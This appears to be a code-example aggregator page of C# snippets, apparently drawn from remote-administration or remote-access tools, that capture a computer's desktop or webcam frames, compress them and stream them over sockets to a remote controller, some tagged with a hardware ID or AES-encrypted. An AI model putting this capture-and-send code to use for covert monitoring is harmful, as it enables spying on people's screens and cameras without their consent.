Esempio n. 1
0
        private void Execute(ISender client, GetDesktopResponse message)
        {
            lock (_syncLock)
            {
                if (!IsStarted)
                {
                    return;
                }

                if (_codec == null || _codec.ImageQuality != message.Quality || _codec.Monitor != message.Monitor || _codec.Resolution != message.Resolution)
                {
                    _codec?.Dispose();
                    _codec = new UnsafeStreamCodec(message.Quality, message.Monitor, message.Resolution);
                }

                using (MemoryStream ms = new MemoryStream(message.Image))
                {
                    // create deep copy & resize bitmap to local resolution
                    OnReport(new Bitmap(_codec.DecodeData(ms), LocalResolution));
                }

                message.Image = null;

                client.Send(new GetDesktop {
                    Quality = message.Quality, DisplayIndex = message.Monitor
                });
            }
        }
        public static void CaptureAndSend()
        {
            try
            {
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
                while (RemoteDesktop_Status == true)
                {
                    if (!ClientSocket.Client.Connected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(1000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            ClientSocket.BeginSend(msgpack.Encode2Bytes());
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Esempio n. 3
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        private static void StreamScreen()
        {
            while (RDActive && MainClient.Connected)
            {
                byte[]       ImageBytes = null;
                IUnsafeCodec UC         = new UnsafeStreamCodec(75);
                Bitmap       Image      = GetDesktopImage();
                int          Width      = Image.Width;
                int          Height     = Image.Height;
                BitmapData   BD         = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                                     ImageLockMode.ReadWrite, Image.PixelFormat);
                using (MemoryStream MS = new MemoryStream())
                {
                    UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height),
                                 Image.PixelFormat, MS);
                    ImageBytes = MS.ToArray();
                }

                List <byte> ToSend = new List <byte>();
                ToSend.Add(0); //Image Type
                ToSend.AddRange(ImageBytes);
                MainClient.Send(ToSend.ToArray());
                Thread.Sleep(UpdateInterval);
            }
        }
Esempio n. 4
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        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
            {
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
            }

            LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
            BitmapData bmpdata = LastDesktopScreenshot.LockBits(
                new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
                LastDesktopScreenshot.PixelFormat);

            using (MemoryStream stream = new MemoryStream())
            {
                try
                {
                    StreamCodec.CodeImage(bmpdata.Scan0,
                                          new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                                          new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
                                          stream);
                    new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                }
                catch
                {
                    new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                    StreamCodec = null;
                }
            }

            LastDesktopScreenshot.UnlockBits(bmpdata);
            LastDesktopScreenshot.Dispose();
        }
Esempio n. 5
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        private static async void StartRemoteDestkop()
        {
            while (RemoteDesktopActive)
            {
                byte[]       ImageBytes = null;
                IUnsafeCodec UC         = new UnsafeStreamCodec(50);
                Bitmap       Image      = GetDesktopImage();
                Rectangle    Rect       = new Rectangle(0, 0, Image.Width, Image.Height);
                Size         S          = new Size(Image.Width, Image.Height);
                BitmapData   BD         = Image.LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                         ImageLockMode.ReadWrite, Image.PixelFormat);
                using (MemoryStream MS = new MemoryStream(1000000000))
                {
                    UC.CodeImage(BD.Scan0, Rect, S,
                                 Image.PixelFormat, MS);
                    ImageBytes = MS.ToArray();
                }

                List <byte> ToSend = new List <byte>();
                ToSend.Add((int)DataType.ImageType);
                ToSend.AddRange(ImageBytes);
                Networking.MainClient.Send(ToSend.ToArray());
                Image.UnlockBits(BD);
                Image.Dispose();
            }
        }
Esempio n. 6
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        private unsafe void ProcessImage(byte[] data, int index)
        {
            if (!IsStreaming)
            {
                return;
            }

            lock (_unsafeStreamLock)
            {
                if (!IsStreaming)
                {
                    return;
                }

                if (_unsafeStreamCodec != null && (_currentDevice != _webcamSettings.MonikerString ||
                                                   _currentResolution != _webcamSettings.Resolution))
                {
                    _unsafeStreamCodec.Dispose();
                    _unsafeStreamCodec = null;
                }

                if (_unsafeStreamCodec == null)
                {
                    _currentResolution = _webcamSettings.Resolution;
                    _currentDevice     = _webcamSettings.MonikerString;
                    _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None);
                }

                WriteableBitmap writeableBitmap;

                fixed(byte *dataPtr = data)
                writeableBitmap = _unsafeStreamCodec.DecodeData(dataPtr + index, (uint)(data.Length - index),
                                                                Application.Current.Dispatcher);

                _framesReceived++;
                if (_writeableBitmap != writeableBitmap)
                {
                    _writeableBitmap = writeableBitmap;
                    RefreshWriteableBitmap?.Invoke(this, writeableBitmap);
                }
            }

            if (IsStreaming)
            {
                GetWebcamImage();
            }

            if (FramesPerSecond == 0 && _framesReceived == 0)
            {
                _frameTimestamp = DateTime.UtcNow;
            }
            else if (DateTime.UtcNow - _frameTimestamp > TimeSpan.FromSeconds(1))
            {
                FramesPerSecond = _framesReceived;
                _framesReceived = 0;
                _frameTimestamp = DateTime.UtcNow;
            }
        }
Esempio n. 7
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        public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Client client)
        {
            var resolution = FormatHelper.FormatScreenResolution(ScreenHelper.GetBounds(command.Monitor));

            if (StreamCodec == null)
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);

            if (StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor
                || StreamCodec.Resolution != resolution)
            {
                if (StreamCodec != null)
                    StreamCodec.Dispose();

                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor, resolution);
            }

            BitmapData desktopData = null;
            Bitmap desktop = null;
            try
            {
                desktop = ScreenHelper.CaptureScreen(command.Monitor);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                    ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (StreamCodec == null) throw new Exception("StreamCodec can not be null.");
                    StreamCodec.CodeImage(desktopData.Scan0,
                        new Rectangle(0, 0, desktop.Width, desktop.Height),
                        new Size(desktop.Width, desktop.Height),
                        desktop.PixelFormat, stream);
                    new Packets.ClientPackets.GetDesktopResponse(stream.ToArray(), StreamCodec.ImageQuality,
                        StreamCodec.Monitor, StreamCodec.Resolution).Execute(client);
                }
            }
            catch (Exception)
            {
                if (StreamCodec != null)
                    new Packets.ClientPackets.GetDesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor,
                        StreamCodec.Resolution).Execute(client);

                StreamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        desktop.UnlockBits(desktopData);
                    }
                    desktop.Dispose();
                }
            }
        }
Esempio n. 8
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        private void BeginAccept_Callback(IAsyncResult ar)
        {
            try
            {
                Socket       sock     = Server.EndAccept(ar);
                IUnsafeCodec decoder  = new UnsafeStreamCodec(80);
                int          FPS      = 0;
                Stopwatch    sw       = Stopwatch.StartNew();
                Stopwatch    RenderSW = Stopwatch.StartNew();

                while (sock.Connected)
                {
                    //keep receiving data
                    byte[] Header = ReceiveData(4, sock);
                    if (Header.Length != 4)
                    {
                        break;
                    }

                    int length = BitConverter.ToInt32(Header, 0);

                    byte[] Payload = ReceiveData(length, sock);
                    if (Payload.Length != length)
                    {
                        break;
                    }

                    Bitmap decoded = decoder.DecodeData(new MemoryStream(Payload));

                    if (RenderSW.ElapsedMilliseconds >= (1000 / 20))
                    {
                        this.pictureBox1.Image = (Bitmap)decoded.Clone();
                        RenderSW = Stopwatch.StartNew();
                    }

                    FPS++;
                    if (sw.ElapsedMilliseconds >= 1000)
                    {
                        this.Invoke(new Invoky(() =>
                        {
                            this.Fpslbl.Text        = "FPS: " + FPS;
                            this.ScreenSizelbl.Text = "Screen Size: " + decoded.Width + " x " + decoded.Height;
                        }));

                        performanceChart1.AddValue(FpsLine, FPS);
                        FPS = 0;
                        sw  = Stopwatch.StartNew();
                    }
                }
            }
            catch (Exception ex) { MessageBox.Show(ex.Message); }

            Server.BeginAccept(BeginAccept_Callback, null);
        }
Esempio n. 9
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 /// <summary>
 /// Begins receiving frames from the client using the specified quality and display.
 /// </summary>
 /// <param name="quality">The quality of the remote desktop frames.</param>
 /// <param name="display">The display to receive frames from.</param>
 public void BeginReceiveFrames(int quality, int display)
 {
     lock (_syncLock)
     {
         IsStarted = true;
         _codec?.Dispose();
         _codec = null;
         _client.Send(new GetDesktop {
             CreateNew = true, Quality = quality, DisplayIndex = display
         });
     }
 }
Esempio n. 10
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        public static void CaptureAndSend(int quality, int Scrn)
        {
            Bitmap       bmp     = null;
            BitmapData   bmpData = null;
            Rectangle    rect;
            Size         size;
            MsgPack      msgpack;
            IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
            MemoryStream stream;

            Thread.Sleep(1);
            while (IsOk && Connection.IsConnected)
            {
                try
                {
                    bmp     = GetScreen(Scrn);
                    rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    size    = new Size(bmp.Width, bmp.Height);
                    bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (stream = new MemoryStream())
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = Connection.Hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length);
                            new Thread(() => { Connection.Send(msgpack.Encode2Bytes()); }).Start();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
                catch
                {
                    Connection.Disconnected();
                    break;
                }
            }
            try
            {
                IsOk = false;
                bmp?.UnlockBits(bmpData);
                bmp?.Dispose();
                GC.Collect();
            }
            catch { }
        }
Esempio n. 11
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        public override void Dispose()
        {
            base.Dispose();

            //important, else dead lock because this is UI thread and lock invokdes into UI thread -> block
            Task.Run(() =>
            {
                lock (_unsafeStreamLock)
                {
                    _unsafeStreamCodec?.Dispose();
                    _unsafeStreamCodec = null;
                }
            });
        }
        public void CaptureAndSend(int quality, int Scrn)
        {
            TempSocket   tempSocket = new TempSocket();
            string       hwid       = Methods.HWID();
            Bitmap       bmp        = null;
            BitmapData   bmpData    = null;
            Rectangle    rect;
            Size         size;
            MsgPack      msgpack;
            IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
            MemoryStream stream;

            while (tempSocket.IsConnected && ClientSocket.IsConnected)
            {
                try
                {
                    bmp     = GetScreen(Scrn);
                    rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    size    = new Size(bmp.Width, bmp.Height);
                    bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (stream = new MemoryStream())
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
                            tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
                            tempSocket.SslClient.Write(msgpack.Encode2Bytes());
                            tempSocket.SslClient.Flush();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
                catch { break; }
            }
            try
            {
                bmp?.UnlockBits(bmpData);
                bmp?.Dispose();
                tempSocket?.Dispose();
            }
            catch { }
        }
Esempio n. 13
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        public override void Dispose()
        {
            lock (_framesLock)
            {
                _lastFrame?.Dispose();
                _lastFrame = null;
            }

            _videoCaptureDevice?.Stop();
            _unsafeStreamCodec?.Dispose();

            _unsafeStreamCodec  = null;
            _videoCaptureDevice = null;
        }
Esempio n. 14
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 //Convert byte array to image
 public Image ByteArrayToImage(byte[] ByteArrayIn)
 {
     using (var MS = new MemoryStream(ByteArrayIn))
     {
         try
         {
             IUnsafeCodec UC = new UnsafeStreamCodec(60);
             return(UC.DecodeData(MS));
         }
         catch
         {
             return(null);
         }
     }
 }
Esempio n. 15
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        public unsafe void UpdateImage(byte[] data, int index, uint length)
        {
            if (_unsafeStreamCodec == null || _codecHeight != _height || _codecWidth != _width)
            {
                _unsafeStreamCodec?.Dispose();
                _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None);
                _codecHeight       = _height;
                _codecWidth        = _width;
            }

            fixed(byte *dataPtr = data)
            Image = _unsafeStreamCodec.DecodeData(dataPtr + index, length, Application.Current.Dispatcher);

            LastUpdateUtc = DateTime.UtcNow;
        }
Esempio n. 16
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        public void CaptureAndSend(int quality)
        {
            try
            {
                Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                {
                    SendBufferSize    = 50 * 1024,
                    ReceiveBufferSize = 50 * 1024,
                };
                Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));

                SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
                SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);

                string       hwid        = Methods.HWID();
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
                while (Client.Connected)
                {
                    if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());

                            SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
                            SslClient.Write(msgpack.Encode2Bytes());
                            SslClient.Flush();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Esempio n. 17
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        private void Stream()
        {
            int       FPS      = 0;
            Stopwatch sw       = Stopwatch.StartNew();
            Stopwatch RenderSW = Stopwatch.StartNew();

            try
            {
                Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.Connect("localhost", 4432);
                StreamLibrary.IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);



                while (true)
                {
                    Bitmap     bmp     = CaptureScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new System.Drawing.Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    if (RenderSW.ElapsedMilliseconds >= (1000 / 20))
                    {
                        this.pictureBox1.Image = (Bitmap)bmp.Clone();
                        RenderSW = Stopwatch.StartNew();
                    }

                    FPS++;
                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            socket.Send(BitConverter.GetBytes((int)stream.Length));
                            socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None);
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        private void Execute(ISender client, GetWebcam message)
        {
            if (message.Destroy)
            {
                _webcamHelper.StopRunningVideo();
                OnReport("Remote webcam session stopped");
                return;
            }

            _webcamHelper.Init(message.DisplayIndex);

            var resolution = new Resolution {
                Height = _webcamHelper._resolution.Height, Width = _webcamHelper._resolution.Width
            };

            if (_streamCodec == null)
            {
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (message.CreateNew)
            {
                _streamCodec?.Dispose();
                _webcamHelper.NewVideoSource(message.DisplayIndex);
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
                OnReport("Remote webcam session started");
            }

            if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
            {
                _streamCodec?.Dispose();
                _webcamHelper.NewVideoSource(message.DisplayIndex);
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (_webcamHelper._currentFrame == null)
            {
                Bitmap emptyFrame = new Bitmap(1920, 1080, PixelFormat.Format32bppPArgb);
                SendFrame(client, emptyFrame, resolution);
            }
            else
            {
                Bitmap webcamFrame = new Bitmap(_webcamHelper._currentFrame);
                SendFrame(client, webcamFrame, resolution);
            }
        }
Esempio n. 19
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        public async void Stop()
        {
            ConnectionInfo.SendCommand(this, new[] { (byte)WebcamCommunication.Stop });
            LogService.Send((string)Application.Current.Resources["StopWebcam"]);

            //important, else dead lock because this is UI thread and lock invokdes into UI thread -> block
            await Task.Run(() =>
            {
                lock (_unsafeStreamLock)
                {
                    _unsafeStreamCodec?.Dispose();
                    _unsafeStreamCodec = null;
                }
            });

            _framesReceived = 0;
        }
Esempio n. 20
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        private void BeginAccept_Callback(IAsyncResult ar)
        {
            try
            {
                Socket       sock     = Server.EndAccept(ar);
                IUnsafeCodec decoder  = new UnsafeStreamCodec(80);
                int          FPS      = 0;
                Stopwatch    sw       = Stopwatch.StartNew();
                Stopwatch    RenderSW = Stopwatch.StartNew();

                while (sock.Connected)
                {
                    //keep receiving data
                    byte[] Header = ReceiveData(4, sock);
                    if (Header.Length != 4)
                    {
                        break;
                    }

                    int length = BitConverter.ToInt32(Header, 0);

                    byte[] Payload = ReceiveData(length, sock);
                    if (Payload.Length != length)
                    {
                        break;
                    }

                    Bitmap decoded = decoder.DecodeData(new MemoryStream(Payload));

                    if (RenderSW.ElapsedMilliseconds >= (1000 / 20))
                    {
                        this.pictureBox1.Image = (Bitmap)decoded.Clone();
                        RenderSW = Stopwatch.StartNew();
                    }

                    FPS++;
                }
            }
            catch (Exception ex) { MessageBox.Show(ex.Message); }

            Server.BeginAccept(BeginAccept_Callback, null);
        }
        public void CaptureAndSend(int quality)
        {
            try
            {
                Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));

                string       hwid        = Methods.HWID();
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
                while (Client.Connected)
                {
                    if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());

                            Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length));
                            Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes()));
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Esempio n. 22
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        static void Main(string[] args)
        {
            while (true) //keep connecting
            {
                try
                {
                    Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    socket.Connect("localhost", 4432);
                    IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);

                    Console.WriteLine("connected");

                    while (true)
                    {
                        Bitmap     bmp     = CaptureScreen();
                        Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                        Size       size    = new System.Drawing.Size(bmp.Width, bmp.Height);
                        BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                        using (MemoryStream stream = new MemoryStream(10000000)) //allocate already enough memory to make it fast
                        {
                            unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);

                            if (stream.Length > 0)
                            {
                                //send the stream over to the server
                                //to make it more stable we also send how big the stream of data is
                                socket.Send(BitConverter.GetBytes((int)stream.Length)); //we convert it to INT, safes us 4 bytes
                                socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None);
                            }
                        }
                        bmp.UnlockBits(bmpData);
                        bmp.Dispose();
                    }
                }
                catch (Exception ex) { Console.WriteLine(ex.Message); }
            }
        }
Esempio n. 23
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 private static void StartRemoteDestkop()
 {
     while (RemoteDesktopActive)
     {
         byte[]       ImageBytes = null;
         IUnsafeCodec UC         = new UnsafeStreamCodec(60);
         Bitmap       Image      = GetDesktopImage();
         int          Width      = Image.Width;
         int          Height     = Image.Height;
         BitmapData   BD         = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                              ImageLockMode.ReadWrite, Image.PixelFormat);
         using (MemoryStream MS = new MemoryStream())
         {
             UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height),
                          Image.PixelFormat, MS);
             ImageBytes = MS.ToArray();
         }
         List <byte> ToSend = new List <byte>();
         ToSend.Add(0); //Image Type
         ToSend.AddRange(ImageBytes);
         Networking.MainClient.Send(ToSend.ToArray());
         Thread.Sleep(Convert.ToInt16(20));
     }
 }
        private void SendFrame(ISender client, Bitmap imageData, Resolution resolution)
        {
            BitmapData webcamData = null;
            Bitmap     webcam     = null;

            try
            {
                webcam     = imageData;
                webcamData = webcam.LockBits(new Rectangle(0, 0, resolution.Width, resolution.Height),
                                             ImageLockMode.ReadWrite, PixelFormat.Format32bppPArgb);
                using (MemoryStream stream = new MemoryStream())
                {
                    if (_streamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    _streamCodec.CodeImage(webcamData.Scan0,
                                           new Rectangle(0, 0, resolution.Width, resolution.Height),
                                           new Size(resolution.Width, resolution.Height),
                                           PixelFormat.Format32bppPArgb, stream);
                    client.Send(new GetWebcamResponse
                    {
                        Image      = stream.ToArray(),
                        Quality    = _streamCodec.ImageQuality,
                        Webcam     = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }
            }
            catch (Exception)
            {
                if (_streamCodec != null)
                {
                    client.Send(new GetWebcamResponse
                    {
                        Image      = null,
                        Quality    = _streamCodec.ImageQuality,
                        Webcam     = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }

                _streamCodec = null;
            }
            finally
            {
                if (webcam != null)
                {
                    if (webcamData != null)
                    {
                        try
                        {
                            webcam.UnlockBits(webcamData);
                        }
                        catch (Exception ex)
                        {
                            Debug.WriteLine(ex.Message);
                        }
                    }
                    webcam.Dispose();
                }
            }
        }
Esempio n. 25
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((WebcamCommunication)parameter[0])
            {
            case WebcamCommunication.Start:
                _webcamSettings = new Serializer(typeof(WebcamSettings)).Deserialize <WebcamSettings>(parameter, 1);

                if (_videoCaptureDevice != null && _videoCaptureDevice.Source != _webcamSettings.MonikerString)
                {
                    _videoCaptureDevice.Stop();
                    _videoCaptureDevice = null;
                }

                if (_videoCaptureDevice == null)
                {
                    _videoCaptureDevice = new VideoCaptureDevice(_webcamSettings.MonikerString);
                }

                try
                {
                    _videoCaptureDevice.VideoResolution =
                        _videoCaptureDevice.VideoCapabilities[_webcamSettings.Resolution];
                }
                catch (Exception)
                {
                    ResponseByte((byte)WebcamCommunication.ResponseResolutionNotFoundUsingDefault, connectionInfo);
                }

                _isRunning = true;

                _videoCaptureDevice.NewFrame += _videoCaptureDevice_NewFrame;
                _videoCaptureDevice.Start();

                ResponseByte((byte)WebcamCommunication.ResponseStarted, connectionInfo);
                break;

            case WebcamCommunication.Stop:
                if (_videoCaptureDevice != null)
                {
                    _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame;
                    _videoCaptureDevice.Stop();
                    _isRunning = false;

                    lock (_unsafeStreamCodecLock)
                    {
                        _unsafeStreamCodec?.Dispose();
                        _unsafeStreamCodec = null;
                    }

                    _videoCaptureDevice = null;

                    lock (_framesLock)
                    {
                        _lastFrame?.Dispose();
                        _lastFrame = null;
                    }

                    ResponseByte((byte)WebcamCommunication.ResponseStopped, connectionInfo);
                }
                break;

            case WebcamCommunication.GetImage:
                if (_lastFrame == null)
                {
                    if (!_isRunning)
                    {
                        return;
                    }

                    _screenWaitEvent?.Close();
                    _screenWaitEvent = new AutoResetEvent(false);
                    if (!_screenWaitEvent.WaitOne(10000, false))
                    {
                        if (!_isRunning)
                        {
                            return;
                        }

                        ResponseByte((byte)WebcamCommunication.ResponseNoFrameReceived, connectionInfo);
                        _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame;
                        _videoCaptureDevice.Stop();
                        _unsafeStreamCodec?.Dispose();

                        _unsafeStreamCodec  = null;
                        _videoCaptureDevice = null;
                        return;
                    }
                }

                if (!_isRunning)
                {
                    return;
                }

                lock (_unsafeStreamCodecLock)
                {
                    if (!_isRunning)
                    {
                        return;
                    }

                    if (_unsafeStreamCodec != null &&
                        (_currentResolution != _webcamSettings.Resolution ||
                         _currentDevice != _webcamSettings.MonikerString))
                    {
                        _unsafeStreamCodec.Dispose();
                        _unsafeStreamCodec = null;
                    }

                    if (_unsafeStreamCodec == null)
                    {
                        _currentResolution = _webcamSettings.Resolution;
                        _currentDevice     = _webcamSettings.MonikerString;
                        _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None)
                        {
                            ImageQuality = parameter[1]
                        };
                    }

                    IDataInfo dataInfo;
                    lock (_framesLock)
                    {
                        var webcamData =
                            _lastFrame.LockBits(new Rectangle(0, 0, _lastFrame.Width, _lastFrame.Height),
                                                ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);

                        dataInfo = _unsafeStreamCodec.CodeImage(webcamData.Scan0,
                                                                new Rectangle(0, 0, webcamData.Width, webcamData.Height),
                                                                new Size(_lastFrame.Width, _lastFrame.Height), webcamData.PixelFormat);
                        _lastFrame.UnlockBits(webcamData);
                    }

                    connectionInfo.UnsafeResponse(this, dataInfo.Length + 1, writer =>
                    {
                        writer.Write((byte)WebcamCommunication.ResponseFrame);
                        dataInfo.WriteIntoStream(writer.BaseStream);
                    });
                }
                break;

            case WebcamCommunication.GetWebcams:
                if (CoreHelper.RunningOnVistaOrGreater)
                {
                    var webcams =
                        new FilterInfoCollection(FilterCategory.VideoInputDevice).OfType <FilterInfo>()
                        .Select(
                            x =>
                            new WebcamInfo
                    {
                        MonikerString        = x.MonikerString,
                        Name                 = x.Name,
                        AvailableResolutions =
                            new VideoCaptureDevice(x.MonikerString).VideoCapabilities.Select(
                                y =>
                                new WebcamResolution
                        {
                            Width  = y.FrameSize.Width,
                            Heigth = y.FrameSize.Height
                        }).ToList()
                    })
                        .ToList();
                    ResponseBytes((byte)WebcamCommunication.ResponseWebcams,
